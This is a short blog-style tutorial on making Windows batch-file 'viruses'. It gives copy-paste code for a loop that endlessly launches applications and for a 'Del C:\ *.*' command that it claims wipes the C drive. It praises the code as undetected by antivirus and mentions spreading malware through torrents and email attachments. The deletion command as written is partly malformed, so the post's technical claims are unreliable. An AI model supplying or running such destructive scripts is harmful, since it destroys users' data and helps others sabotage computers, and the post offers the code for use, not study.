How do you create a computer virus?

Viruses are malware which can cause a lot of harm to P.C., Computer and Laptop. Usually, they spread through sharing of files specially on Internet. Torrents file sharing and Email attachments are common ways to spread a virus.

So, using Batch File you can create extremely dangerous viruses to delete the Windows files, format different drives(C:\,D:\,E:\), steal information, disable firewalls.

>> Also you can read: What is a computer virus

And if you don’t know what Batch File really is, then let me explain it to you.
It is simply a text file, containing series of commands, which are executed automatically, line by line, when the batch file runs.
(Refer- Batch file - Wikipedia )

Now, here are some small yet extremely dangerous Batch File viruses. You need to just press Ctrl+C (Copy) and Ctrl+V (Paste) code in Notepad. After that save the notepad file as "whatevernameulike.bat". Be sure to use '.bat' as extension otherwise it will not work.

>> Also you can read: How to make a Virus Program to Restart the Computer

1.Application Bomber

@echo off
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x

2. O.S. Hacker:-

@Echo off
Del C:\ *.* |y

I am teaching you to create dangerous computer virus using a batch file. No software is required to make this virus, Notepad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.

>> Also you can read: How to Create a Virus to Block Websites: Complete Guide

What will this virus do ?

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus.

How to Make the virus ?

1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

2. Save this file as virus.bat (Name can be anything but .bat is must)
 3. Now, running this file will delete all the content of C Drive.

Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

>> Also you can read: Can a computer virus cause a server to catch fire